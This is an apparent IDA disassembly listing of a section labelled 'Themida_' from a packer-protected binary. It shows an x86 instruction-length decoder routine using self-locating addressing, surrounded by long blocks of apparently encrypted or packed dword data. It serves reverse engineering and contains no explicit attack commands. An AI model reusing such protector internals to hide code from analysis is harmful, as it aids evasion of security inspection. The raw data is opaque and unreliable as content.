		dd 16E6FFFFh, 16FA0040h, 40h, 0
		dd 10000h, 14h dup(0)
		dd 80C30000h, 7577ED63h, 10000h, 11h dup(0)
		dd 53E90000h, 55000003h, 0E8h, 0ED815D00h, 627A5D1h, 1E85C760h
		dd 627A5h, 66000000h, 0A1663E81h, 0F850Fh, 85C70000h, 627A522h
		dd 6, 24E9h, 26858D00h,	500627A5h, 0A576858Dh, 56500627h
		dd 1DE8006Ah, 83000000h, 0FF2510C4h, 89000000h,	27A52285h
		dd 0B5036106h, 627A522h, 0A51E858Bh, 0C35D0627h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	byte ptr [ebp-5], 0
		and	byte ptr [ebp-6], 0
		xor	dl, dl
		and	[ebp-1], dl
		cmp	dword ptr [ebp+8], 0
		jz	loc_554EA1
		mov	byte ptr [ebp-4], 2
		mov	byte ptr [ebp-3], 0FEh
		mov	byte ptr [ebp-2], 1
		jmp	loc_554EAD
; ---------------------------------------------------------------------------

loc_554EA1:				; CODE XREF: Themida_:00554E8Aj
		and	byte ptr [ebp-3], 0
		and	byte ptr [ebp-2], 0
		mov	byte ptr [ebp-4], 4

loc_554EAD:				; CODE XREF: Themida_:00554E9Cj
		push	ebx
		push	esi
		push	edi

loc_554EB0:				; CODE XREF: Themida_:00554F05j
					; Themida_:00554F21j ...
		mov	edi, [ebp+0Ch]
		mov	esi, [ebp+10h]
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		mov	[esi+ecx], al
		xor	cl, cl

loc_554EC3:				; CODE XREF: Themida_:00554EEAj
		movzx	ebx, cl
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 627A688h
		lea	ebp, [ebp+627A4FEh]
		add	ebp, ebx
		cmp	[ebp+0], al
		pop	ebp
		jz	loc_554EF0
		inc	cl
		cmp	cl, 0Bh
		jb	loc_554EC3

loc_554EF0:				; CODE XREF: Themida_:00554EDFj
		cmp	cl, 0Bh
		jz	loc_554F4D
		cmp	al, 66h
		jnz	loc_554F2E
		cmp	byte ptr [ebp-5], 0
		jnz	loc_554EB0
		cmp	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-5], 1
		jnz	loc_554F26
		mov	byte ptr [ebp-4], 2
		mov	byte ptr [ebp-3], 0FEh
		jmp	loc_554EB0
; ---------------------------------------------------------------------------

loc_554F26:				; CODE XREF: Themida_:00554F13j
		and	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-4], 4

loc_554F2E:				; CODE XREF: Themida_:00554EFBj
		cmp	al, 67h
		jnz	loc_554EB0
		cmp	byte ptr [ebp-6], 0
		jnz	loc_554EB0
		xor	byte ptr [ebp-2], 1
		mov	byte ptr [ebp-6], 1
		jmp	loc_554EB0
; ---------------------------------------------------------------------------

loc_554F4D:				; CODE XREF: Themida_:00554EF3j
		mov	ebx, [ebp+14h]
		mov	cl, dl
		dec	cl
		cmp	al, 0Fh
		mov	[ebx], cl
		jnz	loc_554F79
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		movzx	edi, al
		shr	edi, 1
		mov	[esi+ecx], al
		add	edi, 80h
		jmp	loc_554F7E
; ---------------------------------------------------------------------------

loc_554F79:				; CODE XREF: Themida_:00554F58j
		movzx	edi, al
		shr	edi, 1

loc_554F7E:				; CODE XREF: Themida_:00554F74j
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 627A740h
		lea	ebp, [ebp+627A3FEh]
		add	ebp, edi
		mov	bl, [ebp+0]
		pop	ebp
		mov	cl, al
		and	cl, 1
		mov	[ebp-7], cl
		shl	cl, 2
		shr	bl, cl
		test	bl, 8
		mov	[ebp-6], bl
		jz	loc_555100
		mov	ebx, [ebp+0Ch]
		mov	byte ptr [ebp+0Bh], 1
		movzx	ecx, dl
		inc	dl
		mov	bl, [ebx+ecx]
		mov	[ebp+17h], dl
		mov	dl, bl
		mov	[esi+ecx], bl
		and	dl, 7
		movzx	ecx, bl
		cmp	dl, 4
		setz	byte ptr [ebp-5]
		shr	ecx, 6
		sub	ecx, 0
		jz	loc_555044
		dec	ecx
		jz	loc_555027
		dec	ecx
		jnz	loc_555097
		cmp	byte ptr [ebp-2], 0
		jnz	loc_555093
		cmp	byte ptr [ebp-5], 0
		jz	loc_555006
		mov	byte ptr [ebp+0Bh], 2

loc_555006:				; CODE XREF: Themida_:00554FFCj
		add	byte ptr [ebp+0Bh], 4
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 627A7CCh
		mov	dword ptr [ebp+627A51Eh], 1
		pop	ebp
		jmp	loc_555097
; ---------------------------------------------------------------------------

loc_555027:				; CODE XREF: Themida_:00554FE1j
		cmp	byte ptr [ebp-2], 0
		jnz	loc_555071
		cmp	byte ptr [ebp-5], 0
		jz	loc_555071
		mov	byte ptr [ebp+0Bh], 2
		jmp	loc_555071
; ---------------------------------------------------------------------------

loc_555044:				; CODE XREF: Themida_:00554FDAj
		cmp	byte ptr [ebp-2], 0
		jnz	loc_55508A
		cmp	byte ptr [ebp-5], 0
		jz	loc_555079
		movzx	ecx, byte ptr [ebp+17h]
		mov	edx, [ebp+0Ch]
		mov	cl, [edx+ecx]
		and	cl, 7
		cmp	cl, 5
		jnz	loc_555071
		mov	[ebp+0Bh], cl

loc_555071:				; CODE XREF: Themida_:0055502Bj
					; Themida_:00555035j ...
		inc	byte ptr [ebp+0Bh]
		jmp	loc_555097
; ---------------------------------------------------------------------------

loc_555079:				; CODE XREF: Themida_:00555052j
		cmp	dl, 5
		jnz	loc_555097
		mov	[ebp+0Bh], dl
		jmp	loc_555097
; ---------------------------------------------------------------------------

loc_55508A:				; CODE XREF: Themida_:00555048j
		cmp	dl, 6
		jnz	loc_555097

loc_555093:				; CODE XREF: Themida_:00554FF2j
		mov	byte ptr [ebp+0Bh], 3

loc_555097:				; CODE XREF: Themida_:00554FE8j
					; Themida_:00555022j ...
		dec	byte ptr [ebp+0Bh]
		jz	loc_5550C5
		movzx	ecx, byte ptr [ebp+0Bh]
		mov	[ebp+8], ecx

loc_5550A7:				; CODE XREF: Themida_:005550BDj
		movzx	esi, byte ptr [ebp+17h]
		mov	ecx, [ebp+0Ch]
		mov	edx, [ebp+10h]
		inc	byte ptr [ebp+17h]
		dec	dword ptr [ebp+8]
		mov	cl, [ecx+esi]
		mov	[edx+esi], cl
		jnz	loc_5550A7
		mov	esi, edx

loc_5550C5:				; CODE XREF: Themida_:0055509Aj
		and	al, 0FEh
		cmp	al, 0F6h
		jnz	loc_5550FA
		cmp	edi, 7Fh
		ja	loc_5550FA
		test	bl, 38h
		jnz	loc_5550FA
		cmp	byte ptr [ebp-7], 0
		jz	loc_5550F4
		movzx	eax, byte ptr [ebp-4]
		jmp	loc_5550F7
; ---------------------------------------------------------------------------

loc_5550F4:				; CODE XREF: Themida_:005550E5j
		push	1
		pop	eax

loc_5550F7:				; CODE XREF: Themida_:005550EFj
		mov	[ebp-1], al

loc_5550FA:				; CODE XREF: Themida_:005550C9j
					; Themida_:005550D2j ...
		mov	dl, [ebp+17h]
		mov	bl, [ebp-6]

loc_555100:				; CODE XREF: Themida_:00554FAAj
		mov	al, bl
		and	eax, 7
		sub	eax, 4
		jz	loc_55512B
		dec	eax
		dec	eax
		jz	loc_555121
		and	bl, 7
		add	[ebp-1], bl
		jmp	loc_555133
; ---------------------------------------------------------------------------

loc_555121:				; CODE XREF: Themida_:00555110j
		mov	al, [ebp-3]
		add	al, 6
		jmp	loc_555130
; ---------------------------------------------------------------------------

loc_55512B:				; CODE XREF: Themida_:00555108j
		mov	al, [ebp-3]
		add	al, 4

loc_555130:				; CODE XREF: Themida_:00555126j
		add	[ebp-1], al

loc_555133:				; CODE XREF: Themida_:0055511Cj
		mov	al, [ebp-1]
		dec	byte ptr [ebp-1]
		test	al, al
		jz	loc_55515B
		movzx	ecx, byte ptr [ebp-1]
		inc	ecx

loc_555146:				; CODE XREF: Themida_:00555155j
		mov	edi, [ebp+0Ch]
		movzx	eax, dl
		inc	dl
		dec	ecx
		mov	bl, [edi+eax]
		mov	[esi+eax], bl
		jnz	loc_555146

loc_55515B:				; CODE XREF: Themida_:0055513Bj
		pop	edi
		pop	esi
		mov	al, dl
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		dw 858Dh
		dd 627A5CBh, 0F6D8589h,	8E80622h, 0F2000000h, 5C5053E6h
		dd 0FC39BF57h, 28C0F5Bh, 8B000000h, 69C381FBh, 0E9000075h
		dd 5, 71325AE5h, 0B9C02BEFh, 2C62AA81h,	0F1834FFh, 80h
		dd 0FE8B5A00h, 10A9F281h, 0EA810A8Dh, 5B571F8Bh, 1553D6B9h
		dd 46C2814Fh, 890ECFBCh, 0E9FC0314h, 8,	14F31061h, 0E985DCF4h
		dd 8E4FE881h, 0C0811B6Ch, 1B6C8E4Bh, 4810Fh, 0B9660000h
		dd 0F8814EC5h, 0FFFF8B2Ch, 0FFAA850Fh, 0EE8FFFFh, 0F0000000h
		dd 2EBBCCC0h, 0FB5C94B1h, 622C37A7h, 0F6E781F0h, 5E285623h
		dd 37E9h, 85B8B700h, 67h, 0C51C5700h, 6148434Ah, 0A5ADF936h
		dd 528C88A7h, 0B7FB75h,	0ADF99CBEh, 89937EE5h, 0F4C7009Dh
		dd 6063921Dh, 0DE19h, 2	dup(0)
		dd 0A96E9h, 0AB126800h,	0D0E90627h, 68FFFAD8h, 627AC15h
		dd 0FAD8C6E9h, 0AD0568FFh, 0BCE90627h, 68FFFAD8h, 627ADDEh
		dd 0FAD8B2E9h, 0AE8068FFh, 0A8E90627h, 68FFFAD8h, 627AF68h
		dd 0FAD89EE9h, 0B03768FFh, 94E90627h, 68FFFAD8h, 627B1F8h
		dd 0FAD88AE9h, 0B30A68FFh, 80E90627h, 14FFFAD8h, 8AB7DE69h
		dd 0E62B4201h, 5E43AA99h, 0C8F9102Bh, 186E79C6h, 0D06F1F58h
		dd 450288B9h, 0A893E52Ah, 132C5041h, 0B46871F8h, 411D9164h
		dd 5F5DC589h, 0C21E2D52h, 7394DB88h, 1BA263B9h,	22477649h
		dd 7B9CA7D5h, 0A1F2513Eh, 24355E82h, 911D2DFFh,	0BDF0411Dh
		dd 7325A67h, 5A99CA75h,	0D98ACA1Bh, 0B8BF6D8Ah,	5D4F3C08h
		dd 0C7D4395Eh, 9C4596B1h, 49042AE8h, 0D00C4F7Dh, 0AE7EE3A9h
		dd 4B75BD9Ah, 92FD3C7Fh, 3764DFADh, 0EB3FEDD2h,	0E4B75BDh
		dd 6C6771AFh, 2D2AC227h, 0FA4557C3h, 2C70CBBDh,	0D30C6F5h
		dd 50E96C57h, 8E7F847h,	18650000h, 0B0DBC42Fh, 48377893h
		dd 0DAAF90FBh, 75190661h, 0A94BBFD6h, 0C6211E60h, 7B92B1D9h
		dd 0EEF94236h, 960DBA1h, 0D7E3B9DEh, 3A411D90h,	5778C94h
		dd 0B8C4E93Ah, 5F14648Fh, 0CE25F710h, 0DF491843h, 0A9FD8FDCh
		dd 57411832h, 463B4EAAh, 934BD1CFh, 3Ah, 64AB58BBh, 0B4A44203h
		dd 3D81458Ch, 83A2F34Ch, 98FD1C40h, 0F55EE9Bh, 18CB0A7Dh
		dd 9BC8E349h, 18AFA5C9h, 39765B41h, 86A5F655h, 7699DF5Ah
		dd 4BD147FBh, 0ADDEh, 5774400h,	3B78801Ch, 1E9D473Ah, 1D618EDFh
		dd 0CCB0FD2Eh, 0F332117Dh, 44FF8DA2h, 9DA6D623h, 0ECF72D48h
		dd 3A38173Ch, 0BB840847h, 221D6F50h, 93E093F1h,	54ADA676h
		dd 0FBB24918h, 0AAD38090h, 181BA6F2h, 21604B41h, 8CCB54C8h
		dd 0F9B44F3Ch, 5CEB93E0h, 2DFF2435h, 4B7CDB1Dh,	6CC0BDF0h
		dd 33584833h, 1F6F8AD6h, 0B6695620h, 0BBF4EF97h, 7E4A4h
		dd 201B6200h, 94B3D8C9h, 0FC4B347Dh, 62DDAC95h,	0CB78060Bh
		dd 6DA646A0h, 0C6CB2221h, 337C97B4h, 0AE93FA45h, 0C30A65DEh
		dd 97D2E6B6h, 9347411Dh, 38077793h, 0A39CE0D1h,	0AB58D248h
		dd 65DE0364h, 84DDA71Fh, 0FA8CD010h, 49185989h,	76065766h
		dd 41181926h, 0B0D711D8h, 4BD1B9BDh, 89B2C7D4h,	5AFB1944h
		dd 0D8h, 3A0577C0h, 37BAC4E9h, 0A9433359h, 0ADFE31CBh
		dd 3A6E301Fh, 9CA7D547h, 7404C75h, 76BDB6D6h, 0A709B11h
		dd 0DEDD4918h, 61AEA5B7h, 0A6D62308h, 29A5479Dh, 344F3CDAh
		dd 28FE06C3h, 68E91Ch, 4A453EADh, 6E8BCA8Dh, 6632409h
		dd 4510E8ADh, 0F44A9E4Eh, 0ABEB4B7Dh, 968F5570h, 3D634AF7h
		dd 52BD8AF4h, 3B35FC45h, 0FF63B765h, 27964B7Dh,	4921ED5Eh
		dd 88ABF843h, 0A0EE0B49h, 0C8DED7A3h, 2A7BEF96h, 6F4D7h
		dd 300B7200h, 0A4A3E8D9h, 0C3B444Dh, 72CDBCE5h,	0DB68161Bh
		dd 7DB6B6B0h, 0D6DB3211h, 434CA7A4h, 0BEE30A35h, 0D31A75CEh
		dd 96C21686h, 6337411Dh, 38077783h, 0BDCBC8D1h,	1243FC8Ch
		dd 9A4390D3h, 72EFE077h, 226FAEBAh, 77B2EE5Dh, 7BD33A05h
		dd 944E65Fh, 29838F34h,	67B493F8h, 0ABD11844h, 0BD064390h
		dd 9C8186ABh, 357CA0BFh, 0B18AF247h, 0F1300F70h, 0D1F9B398h
		dd 44473A7Ch, 78282B69h, 473A7C54h, 0C1266D66h,	297AC5B4h
		dd 0EB3FED0Ah, 0E473A7Ch, 8C6071AFh, 491BE590h,	0DCD93E7Dh
		dd 337C97B0h, 3444D849h, 0D9411DCBh, 117693D2h,	1DCB4F9Bh
		dd 0D50BA241h, 0BE6E53B0h, 411DCB6Ah, 0E6F02C8Fh, 0AB41A6EDh
		dd 4F3FBF90h, 67483E7Dh, 0F6EF93E7h, 61B5AA5h, 0E4A90000h
		dd 7C0F305Bh, 147BA4CFh, 0A6D3DC37h, 414D729Dh,	0DD9FEB02h
		dd 325DEA94h, 0A7CE7D0Dh, 0DA350E7Ah, 759CA7D5h, 0EB3FED8Ah
		dd 0E411D96h, 577D848h,	0B8C4E93Ah, 1E1B5E8Fh, 7325ADAh
		dd 5A99CA75h, 82E7F01Bh, 3A3BDEEAh, 24783347h, 0F3DB7DF0h
		dd 0E5851h, 3E7B0000h, 80A3F04Bh, 6AA5805Ch, 89000001h
		dd 3A3BC4E8h, 0B6FDF647h, 0A254DB51h, 7239491Bh, 0CB741815h
		dd 2A1961AEh, 8F8CEDF6h, 0DC1F4CFBh, 28137980h,	0A5EA99FBh
		dd 0E58FA844h, 3D704F3Fh, 942D604Dh, 4DDCEDEFh,	579h, 52BD86F7h
		dd 0C6211E6Dh, 7E89B6D9h, 94FF4831h, 0D64E3ABh,	8CF23B3Dh
		dd 1F6B54BFh, 0B0D8C920h, 49337C97h, 0B6C97FEh,	1D954991h
		dd 3EE6AC41h, 0E93A0577h, 5E8FB8C4h, 5ADA1E1Bh,	17F00932h
		dd 0AA0AE9D0h, 137CA08Ch, 0F3C78EC3h, 72B51h, 0A5F30000h
		dd 0D5h, 64AB5889h, 0ADD1DE03h,	62B8429Eh, 77491BA2h, 0A6D62344h
		dd 9C65729Dh, 0A6C5AEA9h, 3E239469h, 24037805h,	0D2BAC71Dh
		dd 2BD82469h, 67683E4h,	97CDE83Dh, 8E4DAA42h, 6B424F3Ch
		dd 7A7B010Eh, 3EEE0CB2h, 4B742CEAh, 15D7AC0Fh, 66807DB6h
		dd 107BD2EAh, 7247AEE1h, 0ABE95625h, 1045FE8Eh,	57B0FFF4h
		dd 0CE12315Ah, 0DEFA118Bh, 5E5B4556h, 0D06B1D30h, 0FC216083h
		dd 2172CDBFh, 0FE8EC302h, 92D51045h, 6D41AFE4h,	0E27D4EE9h
		dd 491h, 0BAD56E1Fh, 2E390675h,	46A19EE1h, 0FC173059h
		dd 157CCBB3h, 741A5315h, 773BCD7h, 98E0D138h, 315B44AFh
		dd 6374FF16h, 1D946189h, 26FE9441h, 1C27525Fh, 1246BC0h
		dd 1660000h, 3A3B5F6Bh,	0A5FBB247h, 64AB5809h, 3A4EDE03h
		dd 2F473A3Bh, 5A51EE59h, 15EED306h, 0C336E0A8h,	69336136h
		dd 491B9DB3h, 721C197Eh, 0B36580D5h, 411DD267h,	7A2052CEh
		dd 0D56AF750h, 93EFDF5Ch, 0B7F67202h, 9CFDB069h, 3B52ED9Fh
		dd 68BD86F6h, 0CF28776Ch, 5D8EBDC2h, 8C5B70A4h,	0A9E828FEh
		dd 0B1B6666Bh, 664F3C93h, 97E53257h, 3A4E4BACh,	4391DC01h
		dd 0D26D1F00h, 4D904381h, 0A7C0033Ch, 569F96F5h, 42348745h
		dd 0E96D02C3h, 0C2829DAEh, 40000003h, 0A6EB023Dh, 121F76D5h
		dd 8AB7DE6Dh, 0E42D44FFh, 6442AD9Ah, 4434B84h, 69D6A4EDh
		dd 0DC67111Eh, 47008CB5h, 0D854252Ch, 411D8BB0h, 7771B165h
		dd 0C4E93A05h, 1B5E8FB8h, 325ADA1Eh, 215CFE09h,	7851F3DCh
		dd 0A1F24D3Bh, 3FF75E82h, 5F000000h, 364AB58h, 154165DEh
		dd 0BD4C1F3Fh, 0EC3073CCh, 18DDB95Ah, 0C2279649h, 127DCAB5h
		dd 191C61B2h, 32595641h, 0DAA2CF15h, 76190661h,	3E8584C9h
		dd 0D4000003h, 1CED3DEFh, 0AD004119h, 177DF77h,	0A3F01546h
		dd 5B216ED9h, 775BCE0h,	0ADDEDB3Ch, 0F22E4D9Eh,	63DCA091h
		dd 3CF0D532h, 473A3BECh, 4B76AA01h, 94E10641h, 87A358E7h
		dd 0D07AE929h, 14656EB2h, 0AFC87707h, 3A63ADFDh, 376D4047h
		dd 9CEF2E25h, 910B6CAFh, 49181B92h, 29FB2883h, 41185A05h
		dd 0D7FA7EFBh, 4BD1769Ah, 2A3Fh, 0AB58E700h, 66690364h
		dd 0D7491841h, 67683E4h, 0B5C3E83Dh, 0F0154B8Ah, 18311024h
		dd 563EE41h, 0D1D18FC2h, 0EB2A4Bh, 77F00000h, 0C4E93A05h
		dd 13588DBAh, 488DDE69h, 1D2127FFh, 3A977B8Fh, 661F9E47h
		dd 86DA2598h, 0DF36117Bh, 3A96C64Dh, 0EA552747h, 55EE9E83h
		dd 0C00FC400h, 463542A7h, 0C789D4F9h, 473A89B3h, 711A5766h
		dd 3E6281D2h, 8F6641DBh, 8A374918h, 0EB0245FEh,	7495DA89h
		dd 0BAEB5827h, 7834257Bh, 4F3CBB64h, 82BDCCE9h,	8A111CF9h
		dd 53925398h, 65834D36h, 0CB3347D5h, 0D7E64B7Dh, 4E25942Eh
		dd 0CCB2FF12h, 0AE8B0E71h, 33E110D8h, 224D8CCFh, 0A4BE6CD5h
		dd 20C9852h, 5CEB93DEh,	96DDE1AAh, 0DC237CEFh, 201h, 2A45FE8Fh
		dd 5EA996E5h, 0F6112E51h
		dd 6C87C0C9h, 85EC5B23h, 48AC3A5h, 97E32C47h, 285041A8h
		dd 0C1CBF41Fh, 93E46F86h, 1D8AF119h, 0B66E2441h, 0D1380777h
		dd 0DFAD9CE0h, 0B5F43764h, 4E307D5Ah, 5381ACF1h, 6AAB5883h
		dd 9EEA2724h, 0F23570A5h, 41D40795h, 0C8394918h, 0A3A83D9Ch
		dd 0C91A5D9Bh, 189DEB3Bh, 77841541h, 7443702h, 0AF5497C4h
		dd 4565B023h, 0D653816Ch, 0E8027F92h, 0D2D74BD0h, 7F000000h
		dd 0E93A0577h, 588DBAC4h, 3A38878Ch, 0B16B5047h, 473A3F69h
		dd 0B6F3218Ch, 3F0C73C6h, 658CCFEEh, 97E22F14h,	6C3C7FACh
		dd 473A3F5Ch, 2DDF6FF5h, 6BD44C20h, 0A7D51C40h,	6DD6E2BAh
		dd 703B473Ah, 0B0DBD831h, 0DC384D93h, 0EDBFD827h, 49186B82h
		dd 16354653h, 355C5FCAh, 86E33023h, 14390689h, 9A42F873h
		dd 57968FB4h, 22E3C809h, 0E4C9ADA9h, 62045835h,	4F3C6F81h
		dd 0CDCA2F8Eh, 266B82C1h, 6A1FEB58h, 0F7EF9676h, 0EF5BA6h
		dd 107D0000h, 0A8D3DC37h, 404F709Bh, 0D2A7E803h, 6D111E69h
		dd 0B1B3B7DEh, 0DE291678h, 739AA9D1h, 0E6013A4Eh, 168D3B9h
		dd 0DFEB81D6h, 32411D88h, 7A5F849Ch, 3A3B96A2h,	0EC307B47h
		dd 638AB9C5h, 9AF54E3Eh, 3A057700h, 9FA8D0DDh, 0D2DF2441h
		dd 2D489DA6h, 77C2CAF7h, 0C7538108h, 0EBD7A3E1h, 3E1E69A8h
		dd 2899FE45h, 7B86E782h, 365B7944h, 8DBAC4D1h, 0EFAEB557h
		dd 8A87491Bh, 3F4C01h, 0C5190D3h, 3786B3E1h, 78C3C9E6h
		dd 56623A1Fh, 0BB411DCDh, 7EA3ACF0h, 54E0350Eh,	21BFC979h
		dd 0A4A8C029h, 0C51B2857h, 1279D0BCh, 969BF235h, 0E3085DE6h
		dd 0D478AD96h, 2369CB2Dh, 395A6E3Eh, 0FCBF20F0h, 1F6D52BDh
		dd 395E6A02h, 0F8B320F0h, 0A17BA0B9h, 20F03999h, 88F0317Ch
		dd 3F4461BFh, 393642DAh, 0D0DB20F0h, 3B78Ch, 0CB9F0000h
		dd 3D067773h, 8EB9C3E8h, 0DF68105Dh, 2A19618Eh,	7DCAB4F9h
		dd 0CC7B0328h, 1C27529Fh, 6EDDA2CFh, 0BC8BF03Dh, 7168696Fh
		dd 89000040h, 0BF682414h, 89000028h, 5068243Ch,	89000044h
		dd 68512434h, 40C94E1Ch, 83240C8Bh, 494904C4h, 731DC181h
		dd 0F1811337h, 52276B54h, 8359CF89h, 248904ECh,	24048124h
		dd 4, 4EC815Eh,	89000000h, 0FD89242Ch, 5D086E89h, 5E2434FFh
		dd 4C481h, 3C8B0000h, 0E7895724h, 4C781h, 0C7830000h, 243C8704h
		dd 0CE51E95Ch, 7490FFFAh, 0CC330579h, 0F17AEEBCh, 0B88D2191h
		dd 627B41Eh, 0E0FFC503h, 23C3C77h, 32C1D4EAh, 46D0D265h
		dd 61FA531Bh, 4B028D27h, 5C28A8E6h, 0F1395BEh, 5B26FC4Fh
		dd 550DD412h, 2DE9h, 0C56E6600h, 34h, 9	dup(0)
		dd 82E90000h, 6800000Ch, 627B65Ah, 0FB9974E9h, 0B76068FFh
		dd 6AE90627h, 68FFFB99h, 627B940h, 0FB9960E9h, 0BA7868FFh
		dd 56E90627h, 68FFFB99h, 627BD3Bh, 0FB994CE9h, 0BEC868FFh
		dd 42E90627h, 68FFFB99h, 627BFF5h, 0FB9938E9h, 58A1EEFFh
		dd 6C71BF82h, 0B44143DEh, 0FF0A0B16h, 0DCCD22Fh, 4C539C79h
		dd 1EE3BB42h, 2439CD14h, 0E97416DFh, 0FD8125A8h, 1351646Dh
		dd 79D1CD63h, 0CC191CE1h, 0E65BFB50h, 99975AA7h, 6E3CC1C0h
		dd 0E59C3CE5h, 1CCD499h, 1DD23C0Bh, 53AB46B2h, 0AC31F83Ah
		dd 37ED38D9h, 0AC3287AEh, 1DA7F8D9h, 0D1AD249Ah, 29ED0Eh
		dd 0D1740000h, 0E2EB7370h, 0D9ACD1F4h, 0DAF04F03h, 0A5FB70A0h
		dd 0D543DE79h, 0ACDCE9C8h, 7F055AD9h, 0D106C2F8h, 0CF030Eh
		dd 0AA960000h, 0C7A8B3DAh, 0E68D38Ah, 40987BC6h, 0F45EF559h
		dd 71D51819h, 0FECDE8E1h, 0D64DD389h, 0D727B24Ch, 0BBC34C54h
		dd 5CC86732h, 0BB717C85h, 4C1EE32Eh, 8A041305h,	19E42DD3h
		dd 2CB1F04Dh, 8B8914F0h, 0A975C27Eh, 7ECCDD42h,	0C71213EEh
		dd 1F98765Fh, 0DFAFD9ACh, 0AC1EA3B6h, 9AB867D9h, 0CF8426FDh
		dd 9CF55152h, 0DFD0DE7Eh, 3A876782h, 0CC51F5F4h, 0EE393BC2h
		dd 0E2BA10EFh, 0A89AE2Ch, 0B2FD0000h, 828E932Bh, 5252AF7Fh
		dd 1B1AE787h, 0DD213CCEh, 428B4E1Ch, 0F288515Dh, 8D2236Fh
		dd 47E7EE35h, 902AB7FAh, 42157CCCh, 0C6CD6312h,	57A79D68h
		dd 6864F496h, 0ED9FA27Bh, 0FDADAA5h, 9F6F3A11h,	8A34E3F6h
		dd 5AF827D3h, 0D7777A87h, 0C7D7AA2Ah, 8A371C06h, 0EC48D99h
		dd 12D9ACD2h, 9DB41917h, 0EED9ACD2h, 0F74A33D9h, 0A8FE24A9h
		dd 0ED111F2h, 32C3C05Dh, 0BE52906h, 0E0h, 245AA79Eh, 1814427Ah
		dd 3D177632h, 1A8DDE38h, 5C35E3BEh, 309D8B52h, 0D38A4306h
		dd 1124AD3Dh, 11D38A43h, 4C55080Ah, 8815E581h, 0EAFB388Bh
		dd 0C4AE15Fh, 806E9130h, 6CE12DB5h, 9969A25h, 0F74CF809h
		dd 0B857EC58h, 0D1E838Ch, 0CFD4A939h, 113D0A06h, 0AC3FE288h
		dd 23FB26D9h, 10EAF7A8h, 3FEEC980h, 0F732D9ACh,	0B7D6BF2Fh
		dd 7BDFD0FCh, 0BBC35EACh, 14A33270h, 5AA3EB76h,	10CEFBDAh
		dd 81170DBAh, 983h, 9531B8C7h, 0A1458888h, 0F98D585Ch
		dd 36D42164h, 401AE32Bh, 535B4485h, 256DF08Ah, 0F0330EDCh
		dd 0B9F845E1h, 72CA9634h, 6311401Bh, 9B16C0CDh,	0F49657A7h
		dd 0DAFD9464h, 5ED38AC7h, 838E43C3h, 33E9F43Ch,	91FD49E4h
		dd 0CF1E68FAh, 0BD14C307h, 4951D33Fh, 934EDE44h, 0B7975AA7h
		dd 86C302DBh, 0B49E6BEDh, 0DF226FFAh, 5CA23F0Fh, 0B288A79Dh
		dd 8A6F00DBh, 39E500D3h, 0EE7C6DD2h, 0AC6ED9E7h, 56C259D9h
		dd 0D36B76BBh, 82BE434Eh, 30925E03h, 46CCA36Dh,	0DA276Ah
		dd 33E9F43Dh, 43C8D6ABh, 0A279B742h, 21917h, 30929BB9h
		dd 965BA56Dh, 32C3CF9Ah, 1814DD25h, 4E681235h, 7642C8DFh
		dd 579EE42Bh, 8212E2B8h, 3091F0CBh, 29F5306Dh, 0B4606DB4h
		dd 0BE434DD0h, 92210D94h, 0DE0D6D30h, 0B4397834h, 0FB060B16h
		dd 0A029B94Dh, 6D309295h, 8F0F0B5Eh, 0D047EFD4h, 0BD62C955h
		dd 73CE5EACh, 0DE75A32Eh, 92B04141h, 5285B10Bh,	50AA7173h
		dd 0A18BC1CDh, 6F46A7E0h, 49001AB1h, 7352696Eh,	7FAF77B2h
		dd 0AD5DE3EFh, 3623CBB3h, 899A07ECh, 35F2D4BDh,	0EB367974h
		dd 3682503Dh, 65F57974h, 0D7B1B169h, 5AF87CCDh,	16E6C74Dh
		dd 73DB5C7Fh, 0DD41DC79h, 0A04D5CBh, 0A3EF726Fh, 0D57EF052h
		dd 83000004h, 0A5A426AAh, 714E0CA2h, 8CD9FC95h,	0C259D38Ah
		dd 369B240h, 24B98D9Eh,	5F0F17DEh, 0ACC02836h, 683DE8D9h
		dd 7C91E967h, 0AFBC65B6h, 9234365Fh, 7EC3BC9Eh,	59A0EE35h
		dd 95B954E3h, 66E927C2h, 3B52A8B9h, 0C2C0CD0Dh,	0BCB7A50Dh
		dd 0A09C61A0h, 539A4F8Bh, 86B883CAh, 0AD78C2C1h, 0EAF73916h
		dd 0F04AE13Eh, 48919D60h, 0C70A17CAh, 0AD7DA27h, 6044352Ah
		dd 4B49C759h, 7A3h, 0B55198E7h,	0C16568A8h, 19AD387Ch
		dd 56F40104h, 603AC3CBh, 337B64E5h, 50D10AAh, 0D0D32EFCh
		dd 99986501h, 12EAB654h, 630F607Bh, 0FB76A0CDh,	99975AA7h
		dd 0AD3070CDh, 0E77AD877h, 6FF2489Dh, 0D272D025h, 11FB4h
		dd 6FD1CD00h, 75E63472h, 28A13109h, 0D38AC80Dh,	0D3757FC6h
		dd 0FE5D4C2Ah, 0F52656Ch, 4BD6D38Ah, 8B3196BCh,	34FAAE22h
		dd 0CBAFCF9Ch, 0C109AC26h, 93B35E90h, 0F3638735h, 8A4E14h
		dd 0D1D30000h, 18E8726Fh, 0A86A7F85h, 8AC7F3C1h, 76BD00D3h
		dd 1510A76Fh, 0D28A131h, 0DD38AC8h, 95834A54h, 721BE3BEh
		dd 0D38AC867h, 18D67CABh, 2DB0F14Ch, 67FA58F7h,	2A37D71Ah
		dd 4C001AE7h, 5EA02626h, 0ED8383A4h, 0F5C08919h, 0FED38AB3h
		dd 0FFCA668Ch, 4D25E847h, 0B6C3A385h, 2D9DFh, 8165863Bh
		dd 0ABF8FEC8h, 6DA835D9h, 0CDD5AC98h, 64330804h, 160219BEh
		dd 0D057FD32h, 0ED1DCEAh, 72Bh,	0EC5CBE00h, 0E5000000h
		dd 0EB7370D1h, 59C50C16h, 0D75EC089h, 0F4A2D9ACh, 44D78C7Bh
		dd 979A774Dh, 0AA41DE4Ah, 74BE5F4Ah, 0DDB371B0h, 66Bh
		dd 7D09D0DFh, 895DA0E0h, 0C16570B4h, 1EAC397Ch,	28F2FB03h
		dd 6BB3ACADh, 3D45D862h, 80B16B4h, 0D1D02DF9h, 5AA27E0Ch
